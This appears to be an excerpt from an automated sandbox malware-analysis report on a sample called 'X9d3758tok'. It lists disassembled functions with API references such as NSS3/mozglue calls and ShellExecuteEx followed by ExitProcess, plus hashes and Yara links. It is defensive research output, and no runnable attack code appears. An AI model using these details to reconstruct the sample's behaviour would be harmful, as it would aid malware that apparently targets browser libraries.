String ID:
API String ID: 1720798025-0
Opcode ID: 547877a375164ed385c3f9c0f0e9321e47b0584520d6a3831b68bd916f3e7dc5
Instruction ID: f10452ef0d4e7cae98938eebb3ddb3b5f27ccb7f00e590d7aef3985d792e9ef1
Opcode Fuzzy Hash: 547877a375164ed385c3f9c0f0e9321e47b0584520d6a3831b68bd916f3e7dc5
Instruction Fuzzy Hash: 171186B2B01125BBDF11AE65EE49D96B76CFF0425E7148131E91987E01E732E438CBE1

Function 6C783D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C7838A2), ref: 6C783DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C7838A2), ref: 6C783DBF

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C7838A2), ref: 6C783DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6C7838A2), ref: 6C783DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6C7838A2), ref: 6C783DF8

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: 569e33d48b2a8d69144442c790565a2c3e6e07f108a923de3889a8e58169762d
Instruction ID: 98c50a1ee6bf336b9611be7579cbdb02413aef9ac238ff60b411a87089a9609f
Opcode Fuzzy Hash: 569e33d48b2a8d69144442c790565a2c3e6e07f108a923de3889a8e58169762d
Instruction Fuzzy Hash: DF01F2B67061227BFB2066795D0AE3B396CDB41AA8B140635FE28DF681EA118C0082F1

Function 6C7B2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C7B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7B2CEC

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C7B2D02
PR_EnterMonitor.NSS3(?), ref: 6C7B2D1F
PR_ExitMonitor.NSS3(?), ref: 6C7B2D42
PR_ExitMonitor.NSS3(?), ref: 6C7B2D5B

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 847b07355038ff46e4a7061065878ff5e9e1fb64da0ddd5b79177727490cb487
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: E70104F2A416005BEB319E29FD49BC7B3A1EF55318F004535E85996721E232F919C793

Function 6C7B2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C7B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7B2D9C

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C7B2DB2
PR_EnterMonitor.NSS3(?), ref: 6C7B2DCF
PR_ExitMonitor.NSS3(?), ref: 6C7B2DF2
PR_ExitMonitor.NSS3(?), ref: 6C7B2E0B

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 20fef9cbc83224dfa752a41360bfa366b62b8b93fe5c305ebe7ada525de5d19d
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 6001C4F2A412006FEA309E2AFD0DBC7B7A5EF55358F004435E85996B12D632F9258693

Function 6C83BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C837AFE,?,?,?,?,?,?,?,?,6C83798A), ref: 6C83BDC3
free.MOZGLUE(?,?,6C837AFE,?,?,?,?,?,?,?,?,6C83798A), ref: 6C83BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C837AFE,?,?,?,?,?,?,?,?,6C83798A), ref: 6C83BDE9
free.MOZGLUE(?,00000000,00000000,?,6C837AFE,?,?,?,?,?,?,?,?,6C83798A), ref: 6C83BE21
free.MOZGLUE(00000000,00000000,?,6C837AFE,?,?,?,?,?,?,?,?,6C83798A), ref: 6C83BE32

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 4e01df70ec3a7ee8e59482a1e61e6b31b6969735a84eb0b9d3173a1e389cdf2a
Instruction ID: 8e2b72e24817ea2eacce76d1b5ef58e8ac37bb04996f1fa604c07dd29aa6c2d0
Opcode Fuzzy Hash: 4e01df70ec3a7ee8e59482a1e61e6b31b6969735a84eb0b9d3173a1e389cdf2a
Instruction Fuzzy Hash: E31102B5B026209FDF21DF6DC90DA063BB4BB0B24DB140479E50A8BA00E339A814CBE1

Function 004193F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00860C90,00000000,00000000,?,00409F71,00000000,00860C90,00000000), ref: 004193FC
lstrcpyn.KERNEL32(006D7580,00860C90,00860C90,?,00409F71,00000000,00860C90), ref: 00419420
lstrlenA.KERNEL32(00000000,?,00409F71,00000000,00860C90), ref: 00419437
wsprintfA.USER32 ref: 00419457

Strings

%s%s, xrefs: 00419445

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 84a337f0fca5bdf22d9977d595415c9580f1c6ff8586b832ae243cfd604c2dbf
Instruction ID: 36a1aade9beab669742e698a5986ef2a8e6d9b7fa0e45cca69d8a80143706e49
Opcode Fuzzy Hash: 84a337f0fca5bdf22d9977d595415c9580f1c6ff8586b832ae243cfd604c2dbf
Instruction Fuzzy Hash: 9B011E75A18108FFCB04DFA8DD54EAE7B79EF48304F108249F9098B340EB31AA40DB96

Function 6C837C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C837C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C837C83
malloc.MOZGLUE(00000001), ref: 6C837C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C837C9F
PR_GetCurrentThread.NSS3 ref: 6C837CAD

Part of subcall function 6C7E9BF0: TlsGetValue.KERNEL32(?,?,?,6C830A75), ref: 6C7E9C07

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: fd66369c9dee4c42727d913341d21750cbf1454f95cf48d6d2dca47ae2edf44b
Instruction ID: e6eb8b351fab021803edcf8cfe614dfdff5deb0299da83c50f507c0005b83bc5
Opcode Fuzzy Hash: fd66369c9dee4c42727d913341d21750cbf1454f95cf48d6d2dca47ae2edf44b
Instruction Fuzzy Hash: 70F0C2F2910226ABEB109FBADE0D9877798EF45265B019835E80DC3B00E735E515CBE5

Function 6C83ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C83A6D8), ref: 6C83AE0D
free.MOZGLUE(?), ref: 6C83AE14
DeleteCriticalSection.KERNEL32(6C83A6D8), ref: 6C83AE36
free.MOZGLUE(?), ref: 6C83AE3D
free.MOZGLUE(00000000,00000000,?,?,6C83A6D8), ref: 6C83AE47

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 6dde3406e8d3eaaa74b2b382ea1c6fa0c52d0324504b11c85df47ef34ff37b0d
Instruction ID: 140b90f4a472bbc7fb69785d7448872653e203edf8c80991c11694f0dbfe7924
Opcode Fuzzy Hash: 6dde3406e8d3eaaa74b2b382ea1c6fa0c52d0324504b11c85df47ef34ff37b0d
Instruction Fuzzy Hash: 92F0F6B6201A11A7CE21AFA8D84C95BB7B8BF867797100338F12E83981E731E011C7E1

Function 0041CA72 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041CA7E

Part of subcall function 0041C2A0: __getptd_noexit.LIBCMT ref: 0041C2A3
Part of subcall function 0041C2A0: __amsg_exit.LIBCMT ref: 0041C2B0

__getptd.LIBCMT ref: 0041CA95
__amsg_exit.LIBCMT ref: 0041CAA3
__lock.LIBCMT ref: 0041CAB3
__updatetlocinfoEx_nolock.LIBCMT ref: 0041CAC7

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 8e15bae909d06919cb4135276c74b5d3530aaf41c11ecb0caa68e2a981b89e64
Instruction ID: c5a7914bfd81a4edf64c409ce704b1973edb92a02c079c255f399551119664c9
Opcode Fuzzy Hash: 8e15bae909d06919cb4135276c74b5d3530aaf41c11ecb0caa68e2a981b89e64
Instruction Fuzzy Hash: D0F06231A803189BD622FBA95C867DE33A0AF40758F50014FE405562D2CB7C59C186DE

Function 6C6C7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6C7D35

Strings

%s at line %d of [%.10s], xrefs: 6C6C7D2E
database corruption, xrefs: 6C6C7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6C7D13, 6C6C7D1F, 6C6C7D47, 6C6C7D53, 6C6C7D5F

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 9aad8a5f2035ed47b813c4168425e82b488ef1c860cc288635f85c292c49b2e8
Instruction ID: aa97f91b73c7aa399604e2ac93cf1d93798744563565e8b0bc763116623b9150
Opcode Fuzzy Hash: 9aad8a5f2035ed47b813c4168425e82b488ef1c860cc288635f85c292c49b2e8
Instruction Fuzzy Hash: C4314671F042299BC710CF9EC8809BEBBF1EF48719B5905A6E444B7B85D270E841C7AA

Function 6C6B6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C6B6D36

Strings

%s at line %d of [%.10s], xrefs: 6C6B6D2F
database corruption, xrefs: 6C6B6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6B6D20

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 2e85140f3f052cb15601f78baf8f87c931cace14c5c2a2ef8c7c6c6c0d340dc5
Instruction ID: 8eb00f94cb7c063c0bbe28a09716442979079913dfd2e945846d8dc5e16406cf
Opcode Fuzzy Hash: 2e85140f3f052cb15601f78baf8f87c931cace14c5c2a2ef8c7c6c6c0d340dc5
Instruction Fuzzy Hash: C52106307043059BC718CF19C841B9AB7F2AF85318F14492DD849ABF51E7B1F959C79A

Function 004168D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416903

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

ShellExecuteEx.SHELL32(0000003C), ref: 004169C6
ExitProcess.KERNEL32 ref: 004169F5

Strings

<, xrefs: 00416979

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: cdd6c2d62a2532a6090b0c425aed0fc4ee2e56a8369df66e6afb4dc7f6009d79
Instruction ID: 69e214fcc2f82cbe4d830bf51364f862e1744f727ac50a07542482e63681b1c7
Opcode Fuzzy Hash: cdd6c2d62a2532a6090b0c425aed0fc4ee2e56a8369df66e6afb4dc7f6009d79
Instruction Fuzzy Hash: 82313AB1902218ABDB14EB91DC92FDEB779AF08314F40418EF20566191DF787B88CF69

Function 6C7ECC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C7ECD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7ECC7B), ref: 6C7ECD7A
Part of subcall function 6C7ECD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7ECD8E
Part of subcall function 6C7ECD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7ECDA5
Part of subcall function 6C7ECD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7ECDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C7ECCB5
memcpy.VCRUNTIME140(6C8814F4,6C8802AC,00000090), ref: 6C7ECCD3
memcpy.VCRUNTIME140(6C881588,6C8802AC,00000090), ref: 6C7ECD2B

Part of subcall function 6C709AC0: socket.WSOCK32(?,00000017,6C7099BE), ref: 6C709AE6
Part of subcall function 6C709AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C7099BE), ref: 6C709AFC

Part of subcall function 6C710590: closesocket.WSOCK32(6C709A8F,?,?,6C709A8F,00000000), ref: 6C710597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C7ECCB0

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 09ea2b9620350e28253bbc0126bf8a92ca5846bd5353a20eedc86d332a083323
Instruction ID: 6c1e20b5317f453c72823f590c2c5e1fed71f51400a2b9103a56c2d194502ee7
Opcode Fuzzy Hash: 09ea2b9620350e28253bbc0126bf8a92ca5846bd5353a20eedc86d332a083323
Instruction Fuzzy Hash: 0A1151F6B062545EDB309F9D9A4B7423AA8974731CF543839E42A8BF82EB75C408C7D1

Function 6C751CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C751CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C751CF1

Part of subcall function 6C8309D0: PR_Now.NSS3 ref: 6C830A22
Part of subcall function 6C8309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C830A35
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C830A66
Part of subcall function 6C8309D0: PR_GetCurrentThread.NSS3 ref: 6C830A70
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C830A9D
Part of subcall function 6C8309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C830AC8
Part of subcall function 6C8309D0: PR_vsmprintf.NSS3(?,?), ref: 6C830AE8
Part of subcall function 6C8309D0: EnterCriticalSection.KERNEL32(?), ref: 6C830B19
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C830B48
Part of subcall function 6C8309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C830C76
Part of subcall function 6C8309D0: PR_LogFlush.NSS3 ref: 6C830C7E

Strings

pInitArgs = 0x%p, xrefs: 6C751CEC
C_Initialize, xrefs: 6C751CD3

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
